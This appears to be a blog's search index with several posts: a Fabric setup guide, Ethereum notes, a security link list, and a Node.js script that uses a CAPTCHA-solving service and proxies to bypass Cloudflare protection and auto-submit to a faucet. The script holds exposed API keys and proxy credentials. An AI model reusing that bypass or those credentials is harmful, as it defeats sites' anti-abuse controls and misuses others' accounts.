-
Notifications
You must be signed in to change notification settings - Fork 0
/
search.xml
930 lines (444 loc) · 835 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>fabric环境配置</title>
<link href="/2024/01/08/%E5%8C%BA%E5%9D%97%E9%93%BE/fabric%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/"/>
<url>/2024/01/08/%E5%8C%BA%E5%9D%97%E9%93%BE/fabric%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>使用Ubuntu18虚拟机进行环境搭建,参考官方文档:</p><h1 id="一、-一些安装前的准备"><a href="#一、-一些安装前的准备" class="headerlink" title="一、 一些安装前的准备:"></a>一、 一些安装前的准备:</h1><p>首先是更新和安装一些包:</p><pre><code class="bash">apt updateapt upgradeapt install -y jq proxychains4 git </code></pre><p>jq是一个json格式化工具 </p><p>git 下载fabric的相关github项目</p><p>国内下载太慢,使用Proxychains4代理进行下载,proxychains4 配置文件在<code>/etc/proxychains4.conf</code></p><p>编辑配置文件如下:(注释最后一行,补上自己的socks代理)</p><p><img src="/2024/01/08/%E5%8C%BA%E5%9D%97%E9%93%BE/fabric%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/image-20240108185729958.png" alt="image-20240108185729958"></p><h1 id="二、开始安装:"><a href="#二、开始安装:" class="headerlink" title="二、开始安装:"></a>二、开始安装:</h1><p>为了方便操作,所有软件都以root用户进行安装</p><p>为了提速,部分命令前增加了proxychains4</p><h2 id="安装go"><a href="#安装go" class="headerlink" title="安装go"></a>安装go</h2><p>go的版本最好是新一点的,这里选择的是1.18</p><pre><code class="go">proxychains4 wget https://dl.google.com/go/go1.18.6.linux-amd64.tar.gzsudo tar -xzf go1.18.6.linux-amd64.tar.gz -C /usr/local sudo ln -s /usr/local/go/bin/* /usr/bin/ </code></pre><p><img src="/2024/01/08/%E5%8C%BA%E5%9D%97%E9%93%BE/fabric%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/image-20240108190328390.png" alt="image-20240108190328390"></p><h2 id="安装Docker-copmose"><a href="#安装Docker-copmose" class="headerlink" title="安装Docker-copmose"></a>安装Docker-copmose</h2><pre><code class="bash">sudo proxychains4 curl -SL https://github.com/docker/compose/releases/download/v2.1.1/docker-compose-linux-x86_64 -o /usr/local/bin/docker-composesudo chmod +x /usr/local/bin/docker-compose</code></pre><p><img src="/2024/01/08/%E5%8C%BA%E5%9D%97%E9%93%BE/fabric%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/image-20240108190630039.png" alt="image-20240108190630039"></p><h2 id="安装fabric-和fabric-samples"><a href="#安装fabric-和fabric-samples" class="headerlink" title="安装fabric 和fabric samples"></a>安装fabric 和fabric samples</h2><p><a href="https://hyperledger-fabric.readthedocs.io/en/latest/install.html">https://hyperledger-fabric.readthedocs.io/en/latest/install.html</a></p><pre><code>mkdir -p $HOME/go/src/github.com/<your_github_userid>cd $HOME/go/src/github.com/<your_github_userid></code></pre><p>将<> 中的内容替换为自己自己的GitHub ID</p><pre><code class="bash">mkdir -p $HOME/go/src/github.com/qwrdxercd $HOME/go/src/github.com/qwrdxer</code></pre><p>获取安装脚本</p><pre><code class="bash">proxychains4 curl -sSLO https://raw.githubusercontent.com/hyperledger/fabric/main/scripts/install-fabric.sh chmod +x install-fabric.sh</code></pre><p>运行脚本,安装fabric( 一些文件 和docker 镜像)</p><pre><code class="bash">./install-fabric.sh./install-fabric.sh --fabric-version 2.5.5 binary</code></pre><p><img src="/2024/01/08/%E5%8C%BA%E5%9D%97%E9%93%BE/fabric%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/image-20240108192034593.png" alt="image-20240108192034593"></p><h2 id="运行一个测试网络"><a href="#运行一个测试网络" class="headerlink" title="运行一个测试网络"></a>运行一个测试网络</h2><p><a href="https://hyperledger-fabric.readthedocs.io/en/latest/test_network.html">https://hyperledger-fabric.readthedocs.io/en/latest/test_network.html</a></p><pre><code class="bash"> #切换文件夹cd fabric-samples/test-network#启动测试网络./network.sh up </code></pre><p><img src="/2024/01/08/%E5%8C%BA%E5%9D%97%E9%93%BE/fabric%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/image-20240108192617515.png" alt="image-20240108192617515"></p><p>创建channel</p><pre><code class="bash">./network.sh up createChannel</code></pre><p><img src="/2024/01/08/%E5%8C%BA%E5%9D%97%E9%93%BE/fabric%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/image-20240108204654700.png" alt="image-20240108204654700"></p><p>接下来就是chaincode ,用例中是go语言的chaincode ,需要对其进行编译,首先配置好go环境</p><pre><code class="bash"> echo "export GO111MODULE=on" >> ~/.profile echo "export GOPROXY=https://goproxy.cn" >> ~/.profile source ~/.profileexport GO111MODULE=onexport GOPROXY=https://goproxy.io,direct</code></pre><p>部署chaincode</p><pre><code class="bash">./network.sh deployCC -ccn basic -ccp ../asset-transfer-basic/chaincode-go -ccl go</code></pre><p>设置环境变量</p><pre><code>export PATH=${PWD}/../bin:$PATHexport FABRIC_CFG_PATH=$PWD/../config/export CORE_PEER_TLS_ENABLED=trueexport CORE_PEER_LOCALMSPID="Org1MSP"export CORE_PEER_TLS_ROOTCERT_FILE=${PWD}/organizations/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/tls/ca.crtexport CORE_PEER_MSPCONFIGPATH=${PWD}/organizations/peerOrganizations/org1.example.com/users/[email protected]/mspexport CORE_PEER_ADDRESS=localhost:7051</code></pre><p>执行命令</p><pre><code class="bash">peer chaincode invoke -o localhost:7050 --ordererTLSHostnameOverride orderer.example.com --tls --cafile "${PWD}/organizations/ordererOrganizations/example.com/orderers/orderer.example.com/msp/tlscacerts/tlsca.example.com-cert.pem" -C mychannel -n basic --peerAddresses localhost:7051 --tlsRootCertFiles "${PWD}/organizations/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/tls/ca.crt" --peerAddresses localhost:9051 --tlsRootCertFiles "${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer0.org2.example.com/tls/ca.crt" -c '{"function":"InitLedger","Args":[]}'</code></pre><pre><code class="bash">peer chaincode query -C mychannel -n basic -c '{"Args":["GetAllAssets"]}'</code></pre><p>显示如下则是成功</p><p><img src="/2024/01/08/%E5%8C%BA%E5%9D%97%E9%93%BE/fabric%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/image-20240108205132653.png" alt="image-20240108205132653"></p>]]></content>
<categories>
<category> 区块链 </category>
</categories>
</entry>
<entry>
<title>CF盾绕过(NodeJs版)</title>
<link href="/2023/12/22/%E7%88%AC%E8%99%AB/CF%E7%9B%BE%E7%BB%95%E8%BF%87(NodeJs%E7%89%88)/"/>
<url>/2023/12/22/%E7%88%AC%E8%99%AB/CF%E7%9B%BE%E7%BB%95%E8%BF%87(NodeJs%E7%89%88)/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h2><p><a href="https://yescaptcha.com/">https://yescaptcha.com/</a></p><p>用于CF盾绕过</p><p><a href="https://www.stormproxies.cn/api">https://www.stormproxies.cn/api</a></p><p><img src="/2023/12/22/%E7%88%AC%E8%99%AB/CF%E7%9B%BE%E7%BB%95%E8%BF%87(NodeJs%E7%89%88)/image-20231222201258922.png" alt="image-20231222201258922"></p><p>这个代理用于转发流量</p><h2 id="实现思路"><a href="#实现思路" class="headerlink" title="实现思路"></a>实现思路</h2><p>使用Yescaptcha 通过代理访问CF盾 ,Yescaptcha 绕过后返回cookie, 主机通过这个cookie借助代理访问即可完成绕过。</p><h2 id="代码部分"><a href="#代码部分" class="headerlink" title="代码部分"></a>代码部分</h2><h3 id="一、-Yescaptcha-绕过-CF-5秒盾"><a href="#一、-Yescaptcha-绕过-CF-5秒盾" class="headerlink" title="一、 Yescaptcha 绕过 CF 5秒盾"></a>一、 Yescaptcha 绕过 CF 5秒盾</h3><p>首先是任务创建、轮训任务状态、 获取结果的代码</p><pre><code class="js">async function createTask(url, proxy) { const data = { // Fill in your own client key "clientKey": clientKey, "task": { "type": "CloudFlareTaskS1", "websiteURL": url, "proxy": proxy, }, }; const apiUrl = "https://api.yescaptcha.com/createTask"; try { const response = await axios.post(apiUrl, data); return response.data; } catch (error) { console.error( "Error creating task:", error.response ? error.response.data : error.message ); throw error; }}//获取任务状态async function getTask(taskId) { const apiUrl = "http://api.yescaptcha.com/getTaskResult"; const data = { // Fill in your own client key clientKey: clientKey, taskId: taskId, }; try { const response = await axios.post(apiUrl, data); return response.data; } catch (error) { console.error( "Error getting task result:", error.response ? error.response.data : error.message ); throw error; }}async function getResult(url, proxy) { const uuid = await createTask(url, proxy); if (!uuid || !uuid.taskId) { return uuid; } console.log("TaskID:", uuid.taskId); for (let i = 0; i < 30; i++) { await delay(3000); const result = await getTask(uuid.taskId); if (result.status === "processing") { continue; } else if (result.status === "ready") { return result; } else { console.log("Fail:", result); return result; // You might want to handle failure differently } }}</code></pre><p>我们可以通过如下代码来绕过CF盾</p><pre><code class="js"> const task = await getResult("https://faucetgreenlist.snarkos.net", proxy); const cookies=task.solution.cookies; const headers =task.solution.headers;</code></pre><h3 id="二、浏览器设置cookie-绕过CF-5秒盾"><a href="#二、浏览器设置cookie-绕过CF-5秒盾" class="headerlink" title="二、浏览器设置cookie,绕过CF 5秒盾"></a>二、浏览器设置cookie,绕过CF 5秒盾</h3><p>首先需要将cookie转换成 puppyter能接受的形式</p><pre><code class="bash">{ name: '__cf_bm', value: 'w8UDIQ4eETjmAQziMCwRmvyfzAzotHW.Py9wCpa3T0E-1703251091-1-AcJq72upiNiqlVNosTebMiSad2GAvOW/kkGT3zt8NkNZCVRiinVAY1mdXCw7JR3gHt4QKY6q+B3iPdWTnFvpzgM=', domain: '.snarkos.net', path: '/', expires: 1703252891.215921, size: 152, httpOnly: true, secure: true, session: false, sameSite: 'None', sameParty: false, sourceScheme: 'Secure', sourcePort: 443}</code></pre><p>思路: 访问网站,获取到cookie的模板,将Yescaptcha破解得到的Cookie 转换成puppeteer可以识别的形式</p><pre><code class="javascript">async function convCookie(target, templete_cookie) { let newCookies = []; for (const [key, value] of Object.entries(target)) { templete_cookie.name = key; templete_cookie.value = value; newCookies.push({ ...templete_cookie }) } return newCookies;}</code></pre><h3 id="三、使用YesCaptcha-绕过第二层CF盾"><a href="#三、使用YesCaptcha-绕过第二层CF盾" class="headerlink" title="三、使用YesCaptcha 绕过第二层CF盾"></a>三、使用YesCaptcha 绕过第二层CF盾</h3><p><img src="/2023/12/22/%E7%88%AC%E8%99%AB/CF%E7%9B%BE%E7%BB%95%E8%BF%87(NodeJs%E7%89%88)/image-20231227203348967.png" alt="image-20231227203348967"></p><p>绕过五秒盾后,第二个为点击验证 ,需要使用YesCaptcha绕过</p><p><a href="https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/61734913/TurnstileTaskProxyless+CloudflareTurnstile">https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/61734913/TurnstileTaskProxyless+CloudflareTurnstile</a></p><p>思路: 发送websiteKey 到YesCaptcha , 将返回结果中的数据设置到浏览器中</p><input type="hidden" name="cf-turnstile-response" id="cf-chl-widget-0ua84_response" value><p>代码如下:</p><pre><code class="javascript">async function createTurnstileTask(url, proxy, websiteKey) { const data = { "clientKey": clientKey, "task": { "type": "TurnstileTaskProxyless", "websiteURL": url, "websiteKey": websiteKey, "proxy": proxy, } } try { const response = await axios.post(apiUrl, data); return response.data; } catch (error) { console.error( "Error creating task:", error.response ? error.response.data : error.message ); throw error; }}async function getTurnstileResult(url, proxy, websiteKey) { const uuid = await createTurnstileTask(url, proxy, websiteKey); if (!uuid || !uuid.taskId) { return uuid; } console.log("TaskID:", uuid.taskId); for (let i = 0; i < 30; i++) { await delay(3000); const result = await getTask(uuid.taskId); if (result.status === "processing") { continue; } else if (result.status === "ready") { return result; } else { console.log("Fail:", result); return result; // You might want to handle failure differently } }}</code></pre><p>全部代码</p><pre><code class="javascript">const puppeteer = require("puppeteer");const axios = require("axios");//E3{i7JHs)_v3F}@H// 代理网络: eu.stormip.cn// 端口: 1000// 账户名: storm-qwrdxer_area-US_session-123456_life-5// 密码: qwrdxer// Yes的keyconst clientKey = "1adad62a440476bdcf6526fc98dee236842900cd30644";const apiUrl = "https://api.yescaptcha.com/createTask";proxy = "http://storm-qwrdxer_area-US_session-123456_life-5:[email protected]:1000";proxies = { http: proxy, https: proxy,};//要访问的网址const delay = (milliseconds) => new Promise((resolve) => setTimeout(resolve, milliseconds));//创建任务 CloudFlare5async function createCloudFlare5Task(url, proxy) { const data = { // Fill in your own client key "clientKey": clientKey, "task": { "type": "CloudFlareTaskS1", "websiteURL": url, "proxy": proxy, }, }; try { const response = await axios.post(apiUrl, data); return response.data; } catch (error) { console.error( "Error creating task:", error.response ? error.response.data : error.message ); throw error; }}//获取任务状态async function getTask(taskId) { const apiUrl = "http://api.yescaptcha.com/getTaskResult"; const data = { // Fill in your own client key clientKey: clientKey, taskId: taskId, }; try { const response = await axios.post(apiUrl, data); return response.data; } catch (error) { console.error( "Error getting task result:", error.response ? error.response.data : error.message ); throw error; }}async function getResult(url, proxy) { const uuid = await createCloudFlare5Task(url, proxy); if (!uuid || !uuid.taskId) { return uuid; } console.log("TaskID:", uuid.taskId); for (let i = 0; i < 30; i++) { await delay(3000); const result = await getTask(uuid.taskId); if (result.status === "processing") { continue; } else if (result.status === "ready") { return result; } else { console.log("Fail:", result); return result; // You might want to handle failure differently } }}async function createTurnstileTask(url, proxy, websiteKey) { const data = { "clientKey": clientKey, "task": { "type": "TurnstileTaskProxyless", "websiteURL": url, "websiteKey": websiteKey, "proxy": proxy, } } try { const response = await axios.post(apiUrl, data); return response.data; } catch (error) { console.error( "Error creating task:", error.response ? error.response.data : error.message ); throw error; }}async function getTurnstileResult(url, proxy, websiteKey) { const uuid = await createTurnstileTask(url, proxy, websiteKey); if (!uuid || !uuid.taskId) { return uuid; } console.log("TaskID:", uuid.taskId); for (let i = 0; i < 30; i++) { await delay(3000); const result = await getTask(uuid.taskId); if (result.status === "processing") { continue; } else if (result.status === "ready") { return result; } else { console.log("Fail:", result); return result; // You might want to handle failure differently } }}//curl --proxy brd.superproxy.io:22225 --proxy-user brd-customer-hl_11ca8dd0-zone-zone1:ihqk884qno7g https://lumtest.com/myip.json//将原始的cookies 转换成puttpyter 识别的Cookie的 形式async function convCookie(target, templete_cookie) { let newCookies = []; for (const [key, value] of Object.entries(target)) { templete_cookie.name = key; templete_cookie.value = value; newCookies.push({ ...templete_cookie }) } return newCookies;}(async () => { //打开浏览器 启用插件(puppeteer默认禁用) const browser = await puppeteer.launch({ headless: "new", args: [ // `--disable-extensions-except=${StayFocusd}`, // `--load-extension=${StayFocusd}`, "--enable-automation", //国内需要代理 "--proxy-server=eu.stormip.cn:1000", '--no-sandbox' ], }); const page = await browser.newPage(); page.setUserAgent('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36'); await page.authenticate( { username: 'storm-qwrdxer_area-US_session-123456_life-5', password: 'qwrdxer' } ) await page.goto("https://faucetgreenlist.snarkos.net"); //获取一个cookie作为模板 let target_cookies = await page.cookies(); //模板cookie let templete_cookie = target_cookies[0]; console.log(templete_cookie) //用到的参数为: //绕过cloudflare const task = await getResult("https://faucetgreenlist.snarkos.net", proxy); //绕过成功,浏览器继承这个session let tt = await convCookie(task.solution.cookies, templete_cookie); await page.setCookie(...tt); await page.setUserAgent(task.solution.user_agent) await page.goto("https://faucetgreenlist.snarkos.net"); //首先,访问页面获取到cookie的模板 // const text = await page.content(); // console.log(text) await page.screenshot({ path: 'screenshot.png' }); //await page.setExtraHTTPHeaders(headers) const turnstileResult = await getTurnstileResult("https://faucetgreenlist.snarkos.net/", proxy, "0x4AAAAAAALpOsoiFJlMjdUA"); console.log(turnstileResult.solution.token) // const frame = await page // .frames() // .find((frame) => // frame.url().includes("https://challenges.cloudflare.com/cdn-cgi/challenge-platform") // ); // const frametext = await frame.content() // console.log(frametext) await page.evaluate((token) => { const inputElement = document.querySelector('[name="cf-turnstile-response"]'); if (inputElement) { inputElement.value = token; } }, turnstileResult.solution.token); console.log("1111111111111111111111111111111") await delay(3000) // const text2 = await page.content(); // console.log(text2) await page.screenshot({ path: 'screenshot_2.png' }); await page.type('#user_input', 'aleo1t3e485lj323rwl77dhtfzyw7tjz4qngxpj7yg5jjvydvxy6g4sxqztuyxf'); await page.click('input[value="Paint it green!"]') await delay(3000) await page.screenshot({ path: 'screenshot_3.png' });})();</code></pre><h2 id="代码整合入bot中"><a href="#代码整合入bot中" class="headerlink" title="代码整合入bot中"></a>代码整合入bot中</h2><hr><p>文章参考:</p><p>博客地址: qwrdxer.github.io</p><p>欢迎交流: qq1944270374</p>]]></content>
<categories>
<category> 爬虫 </category>
</categories>
</entry>
<entry>
<title></title>
<link href="/2023/10/23/Untitled/"/>
<url>/2023/10/23/Untitled/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
</entry>
<entry>
<title>以太坊部分知识点浅析</title>
<link href="/2023/10/19/%E4%BB%A5%E5%A4%AA%E5%9D%8A/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E9%83%A8%E5%88%86%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B5%85%E6%9E%90/"/>
<url>/2023/10/19/%E4%BB%A5%E5%A4%AA%E5%9D%8A/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E9%83%A8%E5%88%86%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B5%85%E6%9E%90/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="原理部分"><a href="#原理部分" class="headerlink" title="原理部分"></a>原理部分</h1><p><a href="https://www.youtube.com/watch?v=_160oMzblY8">https://www.youtube.com/watch?v=_160oMzblY8</a> 比特币的可视化演示</p><hr><h2 id="1-密码学"><a href="#1-密码学" class="headerlink" title="1.密码学"></a>1.密码学</h2><p><a href="https://www.bilibili.com/video/BV1HG411H7gz/">https://www.bilibili.com/video/BV1HG411H7gz/</a></p><h3 id="1-1椭圆曲线"><a href="#1-1椭圆曲线" class="headerlink" title="1.1椭圆曲线"></a>1.1椭圆曲线</h3><p><img src="/2023/10/19/%E4%BB%A5%E5%A4%AA%E5%9D%8A/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E9%83%A8%E5%88%86%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B5%85%E6%9E%90/image-20231019161403697.png" alt="image-20231019161403697"></p><p><img src="/2023/10/19/%E4%BB%A5%E5%A4%AA%E5%9D%8A/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E9%83%A8%E5%88%86%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B5%85%E6%9E%90/image-20231019161618579.png" alt="image-20231019161618579"></p><p>流程: </p><ol><li>通过随机来获取一个私钥 </li><li>通过私钥计算出 公钥 => 椭圆曲线</li><li>通过公钥计算出地址 => 哈希函数 + 截断</li></ol><p><img src="/2023/10/19/%E4%BB%A5%E5%A4%AA%E5%9D%8A/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E9%83%A8%E5%88%86%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B5%85%E6%9E%90/image-20231019162617721.png" alt="image-20231019162617721"></p><h3 id="1-2-签名"><a href="#1-2-签名" class="headerlink" title="1.2 签名"></a>1.2 签名</h3><p><img src="/2023/10/19/%E4%BB%A5%E5%A4%AA%E5%9D%8A/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E9%83%A8%E5%88%86%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B5%85%E6%9E%90/image-20231019163917292.png" alt="image-20231019163917292"></p><p>目的: </p><ol><li>证明是地址的拥有者</li><li>证明交易的合法性</li></ol><h3 id="1-3-助记词"><a href="#1-3-助记词" class="headerlink" title="1.3 助记词"></a>1.3 助记词</h3><p>通过助记词生成秘钥种子</p><p>通过种子生成一个 主秘钥</p><p>主密钥可以生成多个子私钥</p><p>呈现为一个树形的结构</p><p>—没有种子的情况下 私钥是无法相互推出的。</p><p>1.4 零知识证明</p><p><img src="/2023/10/19/%E4%BB%A5%E5%A4%AA%E5%9D%8A/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E9%83%A8%E5%88%86%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B5%85%E6%9E%90/image-20231019200017160.png" alt="image-20231019200017160"></p><h2 id="2-设计"><a href="#2-设计" class="headerlink" title="2.设计"></a>2.设计</h2><h3 id="2-1-比特币-vs-以太坊"><a href="#2-1-比特币-vs-以太坊" class="headerlink" title="2.1 比特币 vs 以太坊"></a>2.1 比特币 vs 以太坊</h3><p>账单模式 vs 账户模式</p><h3 id="智能合约攻击"><a href="#智能合约攻击" class="headerlink" title="智能合约攻击"></a>智能合约攻击</h3><p>交易回滚攻击</p><blockquote><p>即攻击者本来已经发生了支付动作,但是通过某些手段,让转账流程发生错误,从而回滚整个交易流程,达到交易回滚的目的,这种攻击手法多发于区块链上的的智能合约游戏当中,当用户的下注动作和合约的开奖动作在一个交易内的时候,即内联交易。攻击者就可以通过交易发生时检测智能合约的某些状态,获知开奖信息,根据开奖信息选择是否对下注交易进行回滚。</p></blockquote><p><strong>交易排挤攻击</strong></p><p><strong>随机数攻击</strong></p><p><strong>hard_fail 状态攻击</strong></p><p><strong>重放攻击</strong></p><p><strong>短地址攻击</strong></p><p><strong>假币攻击</strong></p><hr><p>文章参考:</p><p>博客地址: qwrdxer.github.io</p><p>欢迎交流: qq1944270374</p>]]></content>
<categories>
<category> 以太坊 </category>
</categories>
</entry>
<entry>
<title>链接记录</title>
<link href="/2023/10/12/%E6%97%A5%E5%BF%97/%E9%93%BE%E6%8E%A5%E8%AE%B0%E5%BD%95/"/>
<url>/2023/10/12/%E6%97%A5%E5%BF%97/%E9%93%BE%E6%8E%A5%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>记录每天看到的有趣链接+ 大概摘要</p><h2 id="安全"><a href="#安全" class="headerlink" title="安全"></a>安全</h2><p><a href="https://github.com/fr0gger/Awesome-GPT-Agents">https://github.com/fr0gger/Awesome-GPT-Agents</a> 网络安全相关的gpts</p><p><a href="https://github.com/W01fh4cker/VcenterKit">https://github.com/W01fh4cker/VcenterKit</a> 渗透测试综合利用包</p><p><a href="https://github.com/its-a-feature/Mythic">https://github.com/its-a-feature/Mythic</a> 红队平台</p><p><a href="https://github.com/mstxq17/MoreFind">https://github.com/mstxq17/MoreFind</a> 一款用于快速导出URL、Domain和IP的小工具</p><p><a href="https://medium.com/m/global-identity-2?redirectUrl=https://infosecwriteups.com/top-5-red-flags-of-bug-bounty-program-09df79730123?source=rss----7b722bfd1b8d---4">https://medium.com/m/global-identity-2?redirectUrl=https%3A%2F%2Finfosecwriteups.com%2Ftop-5-red-flags-of-bug-bounty-program-09df79730123%3Fsource%3Drss----7b722bfd1b8d---4</a></p><p><a href="https://github.com/WuFengXue/android-reverse">https://github.com/WuFengXue/android-reverse</a> 逆向工具合集</p><p><a href="https://github.com/yearn/yearn-security/">https://github.com/yearn/yearn-security/</a> yearn 智能合约 披露的漏洞</p><p><a href="https://github.com/kpcyrd/sn0int">https://github.com/kpcyrd/sn0int</a> Rust编写 OSINT 框架 包管理 信息收集</p><p><a href="https://github.com/bit4woo/domain_hunter_pro">https://github.com/bit4woo/domain_hunter_pro</a> BurpSuite插件, 资产收集</p><p><a href="https://github.com/aquasecurity/trivy">https://github.com/aquasecurity/trivy</a> 扫描器 Find vulnerabilities, misconfigurations, secrets, SBOM in containers, Kubernetes, code repositories, clouds and more</p><p><a href="https://github.com/Lissy93/web-check">https://github.com/Lissy93/web-check</a> All-in-one OSINT tool for analysing any website</p><p><a href="https://github.com/leebaird/discover">https://github.com/leebaird/discover</a> 渗透测试脚本 Custom bash scripts used to automate various penetration testing tasks including recon, scanning, enumeration, and malicious payload creation using Metasploit. For use with Kali Linux.</p><p><a href="https://github.com/google/fuzzing">https://github.com/google/fuzzing</a> FUZZ教程</p><p><a href="https://github.com/zhaoyumi/WeaverExploit_All">https://github.com/zhaoyumi/WeaverExploit_All</a> 泛微OA最近的漏洞POC(2023)</p><p><a href="https://packetstormsecurity.com/files/175078/dawapharma10-sql.txt">https://packetstormsecurity.com/files/175078/dawapharma10-sql.txt</a> 带有POC的漏洞披露网站</p><p><a href="https://sploitus.com/">https://sploitus.com/</a> EXP 披露</p><p><a href="https://github.com/commixproject/commix">https://github.com/commixproject/commix</a> 命令注入的自动化工具 </p><p><a href="https://blog.chain.link/smart-contract-bug-hunting/">https://blog.chain.link/smart-contract-bug-hunting/</a> 智能合约漏洞挖掘</p><p><a href="https://github.com/ibaiw/2023Hvv">https://github.com/ibaiw/2023Hvv</a> 2023 HW情报收集</p><p><a href="https://github.com/Threekiii/Awesome-POC">https://github.com/Threekiii/Awesome-POC</a> 一个漏洞POC知识库</p><p><a href="https://github.com/gaoyifan/china-operator-ip">https://github.com/gaoyifan/china-operator-ip</a> 中国运营商IPv4/IPv6地址库-每日更新</p><p><a href="https://github.com/yuligesec/watchvuln">https://github.com/yuligesec/watchvuln</a> 